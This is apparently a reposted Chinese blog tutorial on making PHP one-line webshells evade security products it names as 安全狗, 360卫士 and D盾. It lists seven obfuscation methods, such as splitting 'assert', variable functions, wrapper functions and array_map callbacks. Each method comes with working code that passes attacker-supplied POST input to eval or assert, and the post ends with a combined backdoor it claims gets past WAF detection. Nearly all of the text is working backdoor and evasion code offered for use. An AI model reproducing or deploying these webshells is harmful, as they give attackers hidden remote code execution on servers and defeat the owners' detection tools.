【免杀】————1、PHP一句话过狗、卫士、D盾等免杀思路

00x1.关键字拆分

比如assert,可以写成 ‘a’.’ss’.’e’.’r’.’t’这样。
总结:这种方法虽然简单,但是却没有太强的免杀功效,需要结合其他方法。

00x2.可变变量、引用、可变函数。

可变变量:  比如$a=$_POST[‘x’];$b=’a’;@eval($$b);
测试结果:

【免杀】————1、PHP一句话过狗、卫士、D盾等免杀思路_第1张图片

总结:这种方法对狗等WAF可以绕过哦~但是对于D盾这种多规则的是无效的!
引用:  比如$a=$_POST[‘x’];$b=&$a;@eval($b);

测试结果: 

【免杀】————1、PHP一句话过狗、卫士、D盾等免杀思路_第2张图片

总结:这种方法与上一种方法类似。
可变函数  比如$a=’a’.’ss’.’e’.’r’.’t’;$a($_POST[‘x’]);
测试结果: 

【免杀】————1、PHP一句话过狗、卫士、D盾等免杀思路_第3张图片

总结:这种方法对于狗、3卫士、D盾之类的均没有作用哦~

00x3.添加其他代码

添加其他代码  比如  if(empty($a))

{
           $a=$_POST[‘x’];
 }

  @eval($a);

测试结果:

【免杀】————1、PHP一句话过狗、卫士、D盾等免杀思路_第4张图片

总结:这种方法比较适合脑洞比较大的小伙伴们~

00x4.函数替换。

使用其他函数,比如eval可以使用assert替换。
总结:这种方法适合eval函数被禁用时使用哦~

00x5.封装到新的函数中。

新定义一个函数,使其封装到新函数中。

function test($a){   //定义一个名为test的函数,并使用$a接受参数

               eval($a);

 }

 test($_POST[‘x’]);

测试结果: 

【免杀】————1、PHP一句话过狗、卫士、D盾等免杀思路_第5张图片

总结:这种方法适合有PHP基础的人哦,姿势风骚~不怕不过!

00x6.函数回调。

使用其他函数进行调用,并执行。
如:array_map(‘a’.’s’.’se’.’r’.’t’,array($_POST[‘x’]));
测试结果: 

【免杀】————1、PHP一句话过狗、卫士、D盾等免杀思路_第6张图片

总结:这种方法适合有PHP基础的人哦~这种方法绝对过WAF哦~

00x7.利用各种方法的特性写出过WAF的一句话。

  function test($a){      //利用所学的封装函数
if (empty($a)){       //利用所学的添加其他代码
$a=”echo ‘QQ:xxxxxxx’;”;      //使用这句代码扰乱D盾的判断
}
@eval($a);
}
@test($_POST[‘x’]);
?>

测试结果:

【免杀】————1、PHP一句话过狗、卫士、D盾等免杀思路_第7张图片

转自:https://www.cnblogs.com/xishaonian/p/6129002.html

你可能感兴趣的:(【渗透测试高级篇】,———免杀)